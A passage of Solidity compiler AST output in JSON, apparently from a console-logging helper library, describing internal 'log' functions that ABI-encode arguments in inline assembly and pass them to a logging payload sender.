t_address","typeString":"address"},"typeName":{"id":39023,"name":"address","nodeType":"ElementaryTypeName","src":"161806:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39026,"mutability":"mutable","name":"p2","nameLocation":"161823:2:22","nodeType":"VariableDeclaration","scope":39054,"src":"161818:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39025,"name":"bool","nodeType":"ElementaryTypeName","src":"161818:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39028,"mutability":"mutable","name":"p3","nameLocation":"161835:2:22","nodeType":"VariableDeclaration","scope":39054,"src":"161827:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39027,"name":"uint256","nodeType":"ElementaryTypeName","src":"161827:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"161796:42:22"},"returnParameters":{"id":39030,"nodeType":"ParameterList","parameters":[],"src":"161853:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39094,"nodeType":"FunctionDefinition","src":"162570:1328:22","nodes":[],"body":{"id":39093,"nodeType":"Block","src":"162639:1259:22","nodes":[],"statements":[{"assignments":[39066],"declarations":[{"constant":false,"id":39066,"mutability":"mutable","name":"m0","nameLocation":"162657:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39067,"nodeType":"VariableDeclarationStatement","src":"162649:10:22"},{"assignments":[39069],"declarations":[{"constant":false,"id":39069,"mutability":"mutable","name":"m1","nameLocation":"162677:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162669:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39068,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162669:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39070,"nodeType":"VariableDeclarationStatement","src":"162669:10:22"},{"assignments":[39072],"declarations":[{"constant":false,"id":39072,"mutability":"mutable","name":"m2","nameLocation":"162697:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162689:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39071,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162689:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39073,"nodeType":"VariableDeclarationStatement","src":"162689:10:22"},{"assignments":[39075],"declarations":[{"constant":false,"id":39075,"mutability":"mutable","name":"m3","nameLocation":"162717:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162709:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39074,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162709:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39076,"nodeType":"VariableDeclarationStatement","src":"162709:10:22"},{"assignments":[39078],"declarations":[{"constant":false,"id":39078,"mutability":"mutable","name":"m4","nameLocation":"162737:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162729:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39077,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162729:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39079,"nodeType":"VariableDeclarationStatement","src":"162729:10:22"},{"assignments":[39081],"declarations":[{"constant":false,"id":39081,"mutability":"mutable","name":"m5","nameLocation":"162757:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162749:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39080,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162749:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39082,"nodeType":"VariableDeclarationStatement","src":"162749:10:22"},{"assignments":[39084],"declarations":[{"constant":false,"id":39084,"mutability":"mutable","name":"m6","nameLocation":"162777:2:22","nodeType":"VariableDeclaration","scope":39093,"src":"162769:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162769:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39085,"nodeType":"VariableDeclarationStatement","src":"162769:10:22"},{"AST":{"nativeSrc":"162798:825:22","nodeType":"YulBlock","src":"162798:825:22","statements":[{"body":{"nativeSrc":"162841:313:22","nodeType":"YulBlock","src":"162841:313:22","statements":[{"nativeSrc":"162859:15:22","nodeType":"YulVariableDeclaration","src":"162859:15:22","value":{"kind":"number","nativeSrc":"162873:1:22","nodeType":"YulLiteral","src":"162873:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"162863:6:22","nodeType":"YulTypedName","src":"162863:6:22","type":""}]},{"body":{"nativeSrc":"162944:40:22","nodeType":"YulBlock","src":"162944:40:22","statements":[{"body":{"nativeSrc":"162973:9:22","nodeType":"YulBlock","src":"162973:9:22","statements":[{"nativeSrc":"162975:5:22","nodeType":"YulBreak","src":"162975:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"162961:6:22","nodeType":"YulIdentifier","src":"162961:6:22"},{"name":"w","nativeSrc":"162969:1:22","nodeType":"YulIdentifier","src":"162969:1:22"}],"functionName":{"name":"byte","nativeSrc":"162956:4:22","nodeType":"YulIdentifier","src":"162956:4:22"},"nativeSrc":"162956:15:22","nodeType":"YulFunctionCall","src":"162956:15:22"}],"functionName":{"name":"iszero","nativeSrc":"162949:6:22","nodeType":"YulIdentifier","src":"162949:6:22"},"nativeSrc":"162949:23:22","nodeType":"YulFunctionCall","src":"162949:23:22"},"nativeSrc":"162946:36:22","nodeType":"YulIf","src":"162946:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"162901:6:22","nodeType":"YulIdentifier","src":"162901:6:22"},{"kind":"number","nativeSrc":"162909:4:22","nodeType":"YulLiteral","src":"162909:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"162898:2:22","nodeType":"YulIdentifier","src":"162898:2:22"},"nativeSrc":"162898:16:22","nodeType":"YulFunctionCall","src":"162898:16:22"},"nativeSrc":"162891:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"162915:28:22","nodeType":"YulBlock","src":"162915:28:22","statements":[{"nativeSrc":"162917:24:22","nodeType":"YulAssignment","src":"162917:24:22","value":{"arguments":[{"name":"length","nativeSrc":"162931:6:22","nodeType":"YulIdentifier","src":"162931:6:22"},{"kind":"number","nativeSrc":"162939:1:22","nodeType":"YulLiteral","src":"162939:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"162927:3:22","nodeType":"YulIdentifier","src":"162927:3:22"},"nativeSrc":"162927:14:22","nodeType":"YulFunctionCall","src":"162927:14:22"},"variableNames":[{"name":"length","nativeSrc":"162917:6:22","nodeType":"YulIdentifier","src":"162917:6:22"}]}]},"pre":{"nativeSrc":"162895:2:22","nodeType":"YulBlock","src":"162895:2:22","statements":[]},"src":"162891:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"163008:3:22","nodeType":"YulIdentifier","src":"163008:3:22"},{"name":"length","nativeSrc":"163013:6:22","nodeType":"YulIdentifier","src":"163013:6:22"}],"functionName":{"name":"mstore","nativeSrc":"163001:6:22","nodeType":"YulIdentifier","src":"163001:6:22"},"nativeSrc":"163001:19:22","nodeType":"YulFunctionCall","src":"163001:19:22"},"nativeSrc":"163001:19:22","nodeType":"YulExpressionStatement","src":"163001:19:22"},{"nativeSrc":"163037:37:22","nodeType":"YulVariableDeclaration","src":"163037:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"163054:3:22","nodeType":"YulLiteral","src":"163054:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"163063:1:22","nodeType":"YulLiteral","src":"163063:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"163066:6:22","nodeType":"YulIdentifier","src":"163066:6:22"}],"functionName":{"name":"shl","nativeSrc":"163059:3:22","nodeType":"YulIdentifier","src":"163059:3:22"},"nativeSrc":"163059:14:22","nodeType":"YulFunctionCall","src":"163059:14:22"}],"functionName":{"name":"sub","nativeSrc":"163050:3:22","nodeType":"YulIdentifier","src":"163050:3:22"},"nativeSrc":"163050:24:22","nodeType":"YulFunctionCall","src":"163050:24:22"},"variables":[{"name":"shift","nativeSrc":"163041:5:22","nodeType":"YulTypedName","src":"163041:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"163102:3:22","nodeType":"YulIdentifier","src":"163102:3:22"},{"kind":"number","nativeSrc":"163107:4:22","nodeType":"YulLiteral","src":"163107:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"163098:3:22","nodeType":"YulIdentifier","src":"163098:3:22"},"nativeSrc":"163098:14:22","nodeType":"YulFunctionCall","src":"163098:14:22"},{"arguments":[{"name":"shift","nativeSrc":"163118:5:22","nodeType":"YulIdentifier","src":"163118:5:22"},{"arguments":[{"name":"shift","nativeSrc":"163129:5:22","nodeType":"YulIdentifier","src":"163129:5:22"},{"name":"w","nativeSrc":"163136:1:22","nodeType":"YulIdentifier","src":"163136:1:22"}],"functionName":{"name":"shr","nativeSrc":"163125:3:22","nodeType":"YulIdentifier","src":"163125:3:22"},"nativeSrc":"163125:13:22","nodeType":"YulFunctionCall","src":"163125:13:22"}],"functionName":{"name":"shl","nativeSrc":"163114:3:22","nodeType":"YulIdentifier","src":"163114:3:22"},"nativeSrc":"163114:25:22","nodeType":"YulFunctionCall","src":"163114:25:22"}],"functionName":{"name":"mstore","nativeSrc":"163091:6:22","nodeType":"YulIdentifier","src":"163091:6:22"},"nativeSrc":"163091:49:22","nodeType":"YulFunctionCall","src":"163091:49:22"},"nativeSrc":"163091:49:22","nodeType":"YulExpressionStatement","src":"163091:49:22"}]},"name":"writeString","nativeSrc":"162812:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"162833:3:22","nodeType":"YulTypedName","src":"162833:3:22","type":""},{"name":"w","nativeSrc":"162838:1:22","nodeType":"YulTypedName","src":"162838:1:22","type":""}],"src":"162812:342:22"},{"nativeSrc":"163167:17:22","nodeType":"YulAssignment","src":"163167:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163179:4:22","nodeType":"YulLiteral","src":"163179:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"163173:5:22","nodeType":"YulIdentifier","src":"163173:5:22"},"nativeSrc":"163173:11:22","nodeType":"YulFunctionCall","src":"163173:11:22"},"variableNames":[{"name":"m0","nativeSrc":"163167:2:22","nodeType":"YulIdentifier","src":"163167:2:22"}]},{"nativeSrc":"163197:17:22","nodeType":"YulAssignment","src":"163197:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163209:4:22","nodeType":"YulLiteral","src":"163209:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"163203:5:22","nodeType":"YulIdentifier","src":"163203:5:22"},"nativeSrc":"163203:11:22","nodeType":"YulFunctionCall","src":"163203:11:22"},"variableNames":[{"name":"m1","nativeSrc":"163197:2:22","nodeType":"YulIdentifier","src":"163197:2:22"}]},{"nativeSrc":"163227:17:22","nodeType":"YulAssignment","src":"163227:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163239:4:22","nodeType":"YulLiteral","src":"163239:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"163233:5:22","nodeType":"YulIdentifier","src":"163233:5:22"},"nativeSrc":"163233:11:22","nodeType":"YulFunctionCall","src":"163233:11:22"},"variableNames":[{"name":"m2","nativeSrc":"163227:2:22","nodeType":"YulIdentifier","src":"163227:2:22"}]},{"nativeSrc":"163257:17:22","nodeType":"YulAssignment","src":"163257:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163269:4:22","nodeType":"YulLiteral","src":"163269:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"163263:5:22","nodeType":"YulIdentifier","src":"163263:5:22"},"nativeSrc":"163263:11:22","nodeType":"YulFunctionCall","src":"163263:11:22"},"variableNames":[{"name":"m3","nativeSrc":"163257:2:22","nodeType":"YulIdentifier","src":"163257:2:22"}]},{"nativeSrc":"163287:17:22","nodeType":"YulAssignment","src":"163287:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163299:4:22","nodeType":"YulLiteral","src":"163299:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"163293:5:22","nodeType":"YulIdentifier","src":"163293:5:22"},"nativeSrc":"163293:11:22","nodeType":"YulFunctionCall","src":"163293:11:22"},"variableNames":[{"name":"m4","nativeSrc":"163287:2:22","nodeType":"YulIdentifier","src":"163287:2:22"}]},{"nativeSrc":"163317:17:22","nodeType":"YulAssignment","src":"163317:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163329:4:22","nodeType":"YulLiteral","src":"163329:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"163323:5:22","nodeType":"YulIdentifier","src":"163323:5:22"},"nativeSrc":"163323:11:22","nodeType":"YulFunctionCall","src":"163323:11:22"},"variableNames":[{"name":"m5","nativeSrc":"163317:2:22","nodeType":"YulIdentifier","src":"163317:2:22"}]},{"nativeSrc":"163347:17:22","nodeType":"YulAssignment","src":"163347:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"163359:4:22","nodeType":"YulLiteral","src":"163359:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"163353:5:22","nodeType":"YulIdentifier","src":"163353:5:22"},"nativeSrc":"163353:11:22","nodeType":"YulFunctionCall","src":"163353:11:22"},"variableNames":[{"name":"m6","nativeSrc":"163347:2:22","nodeType":"YulIdentifier","src":"163347:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163444:4:22","nodeType":"YulLiteral","src":"163444:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"163450:10:22","nodeType":"YulLiteral","src":"163450:10:22","type":"","value":"0x4a66cb34"}],"functionName":{"name":"mstore","nativeSrc":"163437:6:22","nodeType":"YulIdentifier","src":"163437:6:22"},"nativeSrc":"163437:24:22","nodeType":"YulFunctionCall","src":"163437:24:22"},"nativeSrc":"163437:24:22","nodeType":"YulExpressionStatement","src":"163437:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163481:4:22","nodeType":"YulLiteral","src":"163481:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"163487:2:22","nodeType":"YulIdentifier","src":"163487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163474:6:22","nodeType":"YulIdentifier","src":"163474:6:22"},"nativeSrc":"163474:16:22","nodeType":"YulFunctionCall","src":"163474:16:22"},"nativeSrc":"163474:16:22","nodeType":"YulExpressionStatement","src":"163474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163510:4:22","nodeType":"YulLiteral","src":"163510:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"163516:2:22","nodeType":"YulIdentifier","src":"163516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163503:6:22","nodeType":"YulIdentifier","src":"163503:6:22"},"nativeSrc":"163503:16:22","nodeType":"YulFunctionCall","src":"163503:16:22"},"nativeSrc":"163503:16:22","nodeType":"YulExpressionStatement","src":"163503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163539:4:22","nodeType":"YulLiteral","src":"163539:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"163545:2:22","nodeType":"YulIdentifier","src":"163545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163532:6:22","nodeType":"YulIdentifier","src":"163532:6:22"},"nativeSrc":"163532:16:22","nodeType":"YulFunctionCall","src":"163532:16:22"},"nativeSrc":"163532:16:22","nodeType":"YulExpressionStatement","src":"163532:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163568:4:22","nodeType":"YulLiteral","src":"163568:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"163574:4:22","nodeType":"YulLiteral","src":"163574:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"163561:6:22","nodeType":"YulIdentifier","src":"163561:6:22"},"nativeSrc":"163561:18:22","nodeType":"YulFunctionCall","src":"163561:18:22"},"nativeSrc":"163561:18:22","nodeType":"YulExpressionStatement","src":"163561:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163604:4:22","nodeType":"YulLiteral","src":"163604:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"163610:2:22","nodeType":"YulIdentifier","src":"163610:2:22"}],"functionName":{"name":"writeString","nativeSrc":"163592:11:22","nodeType":"YulIdentifier","src":"163592:11:22"},"nativeSrc":"163592:21:22","nodeType":"YulFunctionCall","src":"163592:21:22"},"nativeSrc":"163592:21:22","nodeType":"YulExpressionStatement","src":"163592:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39066,"isOffset":false,"isSlot":false,"src":"163167:2:22","valueSize":1},{"declaration":39069,"isOffset":false,"isSlot":false,"src":"163197:2:22","valueSize":1},{"declaration":39072,"isOffset":false,"isSlot":false,"src":"163227:2:22","valueSize":1},{"declaration":39075,"isOffset":false,"isSlot":false,"src":"163257:2:22","valueSize":1},{"declaration":39078,"isOffset":false,"isSlot":false,"src":"163287:2:22","valueSize":1},{"declaration":39081,"isOffset":false,"isSlot":false,"src":"163317:2:22","valueSize":1},{"declaration":39084,"isOffset":false,"isSlot":false,"src":"163347:2:22","valueSize":1},{"declaration":39056,"isOffset":false,"isSlot":false,"src":"163487:2:22","valueSize":1},{"declaration":39058,"isOffset":false,"isSlot":false,"src":"163516:2:22","valueSize":1},{"declaration":39060,"isOffset":false,"isSlot":false,"src":"163545:2:22","valueSize":1},{"declaration":39062,"isOffset":false,"isSlot":false,"src":"163610:2:22","valueSize":1}],"id":39086,"nodeType":"InlineAssembly","src":"162789:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39088,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"163648:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39089,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"163654:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39087,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"163632:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39090,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"163632:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39091,"nodeType":"ExpressionStatement","src":"163632:27:22"},{"AST":{"nativeSrc":"163678:214:22","nodeType":"YulBlock","src":"163678:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"163699:4:22","nodeType":"YulLiteral","src":"163699:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"163705:2:22","nodeType":"YulIdentifier","src":"163705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163692:6:22","nodeType":"YulIdentifier","src":"163692:6:22"},"nativeSrc":"163692:16:22","nodeType":"YulFunctionCall","src":"163692:16:22"},"nativeSrc":"163692:16:22","nodeType":"YulExpressionStatement","src":"163692:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163728:4:22","nodeType":"YulLiteral","src":"163728:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"163734:2:22","nodeType":"YulIdentifier","src":"163734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163721:6:22","nodeType":"YulIdentifier","src":"163721:6:22"},"nativeSrc":"163721:16:22","nodeType":"YulFunctionCall","src":"163721:16:22"},"nativeSrc":"163721:16:22","nodeType":"YulExpressionStatement","src":"163721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163757:4:22","nodeType":"YulLiteral","src":"163757:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"163763:2:22","nodeType":"YulIdentifier","src":"163763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163750:6:22","nodeType":"YulIdentifier","src":"163750:6:22"},"nativeSrc":"163750:16:22","nodeType":"YulFunctionCall","src":"163750:16:22"},"nativeSrc":"163750:16:22","nodeType":"YulExpressionStatement","src":"163750:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163786:4:22","nodeType":"YulLiteral","src":"163786:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"163792:2:22","nodeType":"YulIdentifier","src":"163792:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163779:6:22","nodeType":"YulIdentifier","src":"163779:6:22"},"nativeSrc":"163779:16:22","nodeType":"YulFunctionCall","src":"163779:16:22"},"nativeSrc":"163779:16:22","nodeType":"YulExpressionStatement","src":"163779:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163815:4:22","nodeType":"YulLiteral","src":"163815:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"163821:2:22","nodeType":"YulIdentifier","src":"163821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163808:6:22","nodeType":"YulIdentifier","src":"163808:6:22"},"nativeSrc":"163808:16:22","nodeType":"YulFunctionCall","src":"163808:16:22"},"nativeSrc":"163808:16:22","nodeType":"YulExpressionStatement","src":"163808:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163844:4:22","nodeType":"YulLiteral","src":"163844:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"163850:2:22","nodeType":"YulIdentifier","src":"163850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163837:6:22","nodeType":"YulIdentifier","src":"163837:6:22"},"nativeSrc":"163837:16:22","nodeType":"YulFunctionCall","src":"163837:16:22"},"nativeSrc":"163837:16:22","nodeType":"YulExpressionStatement","src":"163837:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"163873:4:22","nodeType":"YulLiteral","src":"163873:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"163879:2:22","nodeType":"YulIdentifier","src":"163879:2:22"}],"functionName":{"name":"mstore","nativeSrc":"163866:6:22","nodeType":"YulIdentifier","src":"163866:6:22"},"nativeSrc":"163866:16:22","nodeType":"YulFunctionCall","src":"163866:16:22"},"nativeSrc":"163866:16:22","nodeType":"YulExpressionStatement","src":"163866:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39066,"isOffset":false,"isSlot":false,"src":"163705:2:22","valueSize":1},{"declaration":39069,"isOffset":false,"isSlot":false,"src":"163734:2:22","valueSize":1},{"declaration":39072,"isOffset":false,"isSlot":false,"src":"163763:2:22","valueSize":1},{"declaration":39075,"isOffset":false,"isSlot":false,"src":"163792:2:22","valueSize":1},{"declaration":39078,"isOffset":false,"isSlot":false,"src":"163821:2:22","valueSize":1},{"declaration":39081,"isOffset":false,"isSlot":false,"src":"163850:2:22","valueSize":1},{"declaration":39084,"isOffset":false,"isSlot":false,"src":"163879:2:22","valueSize":1}],"id":39092,"nodeType":"InlineAssembly","src":"163669:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"162579:3:22","parameters":{"id":39063,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39056,"mutability":"mutable","name":"p0","nameLocation":"162588:2:22","nodeType":"VariableDeclaration","scope":39094,"src":"162583:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39055,"name":"bool","nodeType":"ElementaryTypeName","src":"162583:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39058,"mutability":"mutable","name":"p1","nameLocation":"162600:2:22","nodeType":"VariableDeclaration","scope":39094,"src":"162592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39057,"name":"address","nodeType":"ElementaryTypeName","src":"162592:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39060,"mutability":"mutable","name":"p2","nameLocation":"162609:2:22","nodeType":"VariableDeclaration","scope":39094,"src":"162604:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39059,"name":"bool","nodeType":"ElementaryTypeName","src":"162604:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39062,"mutability":"mutable","name":"p3","nameLocation":"162621:2:22","nodeType":"VariableDeclaration","scope":39094,"src":"162613:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39061,"name":"bytes32","nodeType":"ElementaryTypeName","src":"162613:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"162582:42:22"},"returnParameters":{"id":39064,"nodeType":"ParameterList","parameters":[],"src":"162639:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39128,"nodeType":"FunctionDefinition","src":"163904:786:22","nodes":[],"body":{"id":39127,"nodeType":"Block","src":"163976:714:22","nodes":[],"statements":[{"assignments":[39106],"declarations":[{"constant":false,"id":39106,"mutability":"mutable","name":"m0","nameLocation":"163994:2:22","nodeType":"VariableDeclaration","scope":39127,"src":"163986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39105,"name":"bytes32","nodeType":"ElementaryTypeName","src":"163986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39107,"nodeType":"VariableDeclarationStatement","src":"163986:10:22"},{"assignments":[39109],"declarations":[{"constant":false,"id":39109,"mutability":"mutable","name":"m1","nameLocation":"164014:2:22","nodeType":"VariableDeclaration","scope":39127,"src":"164006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39108,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39110,"nodeType":"VariableDeclarationStatement","src":"164006:10:22"},{"assignments":[39112],"declarations":[{"constant":false,"id":39112,"mutability":"mutable","name":"m2","nameLocation":"164034:2:22","nodeType":"VariableDeclaration","scope":39127,"src":"164026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39111,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39113,"nodeType":"VariableDeclarationStatement","src":"164026:10:22"},{"assignments":[39115],"declarations":[{"constant":false,"id":39115,"mutability":"mutable","name":"m3","nameLocation":"164054:2:22","nodeType":"VariableDeclaration","scope":39127,"src":"164046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39114,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39116,"nodeType":"VariableDeclarationStatement","src":"164046:10:22"},{"assignments":[39118],"declarations":[{"constant":false,"id":39118,"mutability":"mutable","name":"m4","nameLocation":"164074:2:22","nodeType":"VariableDeclaration","scope":39127,"src":"164066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39117,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39119,"nodeType":"VariableDeclarationStatement","src":"164066:10:22"},{"AST":{"nativeSrc":"164095:378:22","nodeType":"YulBlock","src":"164095:378:22","statements":[{"nativeSrc":"16